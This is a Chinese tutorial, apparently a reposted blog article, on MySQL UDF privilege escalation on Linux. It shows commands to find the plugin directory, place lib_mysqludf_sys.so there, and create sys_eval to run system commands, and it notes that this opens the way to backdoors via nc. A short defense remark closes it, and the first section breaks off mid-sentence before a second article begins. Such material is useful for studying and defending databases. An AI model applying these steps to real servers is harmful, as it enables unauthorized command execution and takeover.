MYSQL提权(LINUX)

MYSQL提权(LINUX),第1张

select @@global.secure_file_priv

查看MySQL服务器的文件读写权限

如果是NULL就是完全禁止

udf提权用到的so文件(linux)在kali下默认集成,路径为 /usr/share/sqlmap/udf/mysql/linux/64(32)

或者 searchsploit mysql udf

把对应的内容编译出来

mysql创建函数命令

在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止;

过程: 得到插件库路径 找对应 *** 作系统的udf库文件 利用udf库文件加载函数并执行命令

1,得到插件库路径

?

1

2

3

4

5

6

7

mysql>show variables like "%plugin%"

+---------------+-----------------------+

| Variable_name | Value |

+---------------+-----------------------+

| plugin_dir | /usr/lib/mysql/plugin |

+---------------+-----------------------+

1 row in set (0.00 sec)

2,找对应 *** 作系统的udf库文件

因为自己测试,看了下自己系统的版本,64位

?

1

2

root@bt:~# uname -a

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux

对于udf文件,在sqlmap工具中自带就有,只要找对应 *** 作系统的版本即可

?

1

2

3

4

5

6

root@bt:/pentest/database/sqlmap/udf/mysql# ls

linux windows

root@bt:/pentest/database/sqlmap/udf/mysql/linux# ls

32 64

root@bt:/pentest/database/sqlmap/udf/mysql/linux/64# ls

lib_mysqludf_sys.so

3,利用udf库文件加载函数并执行命令

首先要得到udf库文件的十六进制格式,可在本地通过

Linux *** 作系统自从诞生后,其高效的处理能力和卓越的稳定性受到广大用户的亲睐,特别是服务器市场,Linux占有很大的份额。俗话说:树大招风。Linux在服务器领域的广泛应用使得Linux的安全也受到了前所未有的挑战。针对Linux的渗透与攻击手段也越来越多,渗透Linux最常见的手段就是MySQL udf提权。

众所周知,MySQL是一款免费的、开源的数据库服务器软件。其安全性也十分高,因此很多Linux厂商都将其内建在 *** 作系统,特别是一些livecd或者liveDVD。由于MySQL在Linux上的广泛应用,使得MySQL也成为安全界重点研究的对象,udf是MySQL的一个共享库,通过udf创建能够执行系统命令的函数sys_exec、sys_eval,使得入侵者能够获得一般情况下无法获得的shell执行权限。这对于服务器来说是十分危险的。那么入侵者究竟是怎样获得这个权限的呢?换句话说是如何安装这个函数的呢?下面我们可以演示一下

*** 作系统:backtrack5 r2

平台:Apache+MySQL+PHP

安装这几个函数,必须用到lib_mysqludf_sys.so(windows是对应的dll文件),为方便大家,我就直接作为附件上传。lib_mysqludf_sys_0.rar下载之后,你可以选择通过源代码建构so文件,也可以直接复制so文件夹下的文件。

首先,开启bt5上的Apache服务和MySQL服务,键入"/etc/init.d/apache2 restart"开启Apache服务,MySQL服务可以通过开始菜单来启动,如下图所示:

其实,Apache也可以通过菜单启动,上图中的httpd的子菜单就可以启动,我比较习惯从命令行启动而已。

我们可以访问127.0.0.1来查看Apache是否启动成功,如下图:

没有问题,启动成功

然后,打开终端,键入"mysql -uroot -ptoor"命令连接数据库(注意,-u和-p参数后都不要带空格),如果连接成功,将会出现mysql的提示符

紧接着,上传lib_mysqludf_sys.so到/usr/lib/mysql/plugin,然后键入如下命令:

create function sys_eval returns string soname "lib_mysqludf_sys.so" (创建函数)

创建完成之后就可以通过select sys_eval("命令")执行,如下图

执行ls命令后的结果

看到这里,你也许会说,不过就是执行了一个ls命令吗?这有什么大不了呢?的确,一个ls命令确实没什么大不了。但是这使入侵者获得了一个执行shell的权限,这种权限可以执行任何可执行的文件,也就是说通过它可以为Linux安装后门如使用nc等,而这无异于将服务器拱手让给他人。一般说来,服务器会将PHP的sys_exec等函数禁用,但是udf方式绕过了这种限制,轻易获得了shell。

说完了攻,我们来说说防。可以通过升级MySQL的版本或者禁用udf功能来实现针对udf攻击的防御。


欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/yw/7493474.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-06
下一篇 2023-04-06

发表评论

登录后才能评论

评论列表(0条)

保存